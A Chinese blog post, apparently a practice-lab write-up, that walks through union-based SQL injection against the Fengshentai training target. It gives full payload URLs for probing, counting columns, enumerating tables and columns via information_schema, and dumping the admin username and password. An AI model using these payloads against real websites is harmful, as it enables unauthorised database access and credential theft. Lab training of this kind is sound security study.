封神台靶机练习第一章:SQL注入攻击原理

可紊 提交于 2020-02-05 22:09:16

封神台靶机练习第一章:SQL注入攻击原理

1、查看参数的传递方式,选择在哪里进行测试攻击

方法:调出网页控制台,观查网络状况,通过消息头查看参数提交的方式

通过对消息头的分析,可以看出请求方法为get方式,因此我们就只要在浏览器地址栏中进行注入测试即可。如果为其他请求方式,如post,delete,update等等,可以借助postman工具进行测试。

2、判断该网站是否能够进行SQL攻击注入

2.1、观查地址栏地址,猜sql语句

http://59.63.200.79:8003/?id=1

根据?后面的参数可知,该请求肯定是根据id来查询内容,查询参数为id,因此我猜的SQL语句为:

select * from 表名 where id = 参数id

2.2、判断该网站能否进行简单的SQL注入攻击

判断思路:根据所猜SQL语句进行判断

#参数id = 1 时,后台查询的sql语句应该为:
select * from 表名 where id = 1

判断1:当参数id = 1'是否显示正常

测试结果如图:所查询的文章并没有显现,心中窃喜,1'被当作参数传递到了数据库服务器中并执行了,因此可能存在SQL注入风险,此时的SQL语句为:

select * from 表名 where id = 1'

判断2:当参数id = 1 or 1=1 和 id = 1 or 1=2是,是否显示正常

因为参数id=1时,页面能显示信息,故前者肯定为true,不管后者是否为和取值,两者相或,都为true。

断言:如果页面显示正常 => 提交的sql拼接语句进入了数据库服务器中并执行了 =>该网站存在注入风险

验证:参数id=1时前者肯定为真,但是要让页面不正常显示应该怎样,只需要后者变为 and 1=2 即可,如果页面真的如我们所愿,则该站点肯定能够进行sql注入了

3、判断该表有几个字段

使用order by对字段进行排序,二分测试,直到页面显示不正常,由此来判断该表有几个字段。

#对第一个字段进行排序查询
select * from 表名 where id = 1 order by 1


经过反复实验测试,在order by 2 时页面就显示不正常了,因此可以断定该表的字段数为2,由此可以猜的:第一个字段为文章id,第二个字段为文章内容

4、寻找回显点

有上一步的猜想可知,第二个字段应为文章内容,故应该是第二个字段显示在页面上,下面使用联合查询进行证实,拼接而成的SQL语句应该为:

select * from 表名 where id = 1 and 1=2 union select 1,2

如果页面出现了2,这说明是第二个字段展示在页面上,即为回显点:

5、查询该表所在的数据库

由下面这条sql语句拼接,可以显示出该表所在的数据库名字:

select * from 表名 where id = 1 and 1=2 union select 1,database()


由显示出来的数据库名字可知,该数据库的名字就为maoshe

6、查询该数据库中拥有的表的名字

由mysql数据库的特性可知,information_schema的tables表中存储着mysql每一个数据库对应的数据表的信息,如下图

其中table_schema字段对应的就是数据库的名字,所以我们可以通过这张表,查询出maose库中拥有的数据表,拼接的sql语句如下:

select * from 表名 where id = 1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1


该库查询出来的表总共有:

http://59.63.200.79:8003/?id=1%20and%201=2%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1
#查询的数据表为admin 

http://59.63.200.79:8003/?id=1%20and%201=2%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1
#查询的数据表为dirs 

http://59.63.200.79:8003/?id=1%20and%201=2%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%202,1
#查询的数据表为news 

http://59.63.200.79:8003/?id=1%20and%201=2%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%203,1
#查询的数据表为xss 

有各表表明可以猜得,管理员得账号和密码应该在admin表

7、查询admin表拥有的字段名称

由mysql数据库的特性可知,information_schema的columns表中存储着mysql每一个数据库对应的数据表的所有字段信息,透过数据库名称和表的名称就可以一一查询出来,如图:

其中 table_schema就为数据库名,table_name就为数据表名,我们可以通过限定这两个字段查询出admin表的所有字段,拼接的sql语句如下:

    select * from 表名 where id = 1 and 1=2  union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 0,1


admin表中有的字段为:

http://59.63.200.79:8003/?id=1%20and%201=2%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_schema=%27maoshe%27%20and%20table_name=%27admin%27%20limit%200,1
#查询出来的字段为id

http://59.63.200.79:8003/?id=1%20and%201=2%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_schema=%27maoshe%27%20and%20table_name=%27admin%27%20limit%201,1
#查询出来的字段为username

http://59.63.200.79:8003/?id=1%20and%201=2%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_schema=%27maoshe%27%20and%20table_name=%27admin%27%20limit%202,1
#查询出来的字段为password

8、查询管理员信息

管理员表的表明和所有字段信息我们都清楚了,因此我们可以拼接如下的SQL语句进行对该表数据的查询:

select * from 表名 where id = 1 and 1=2 union select 1,username from admin limit 0,1

经过测试,该表的用户数据只有一个:

所以,管理员的账号为admin,密码为hellohack

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!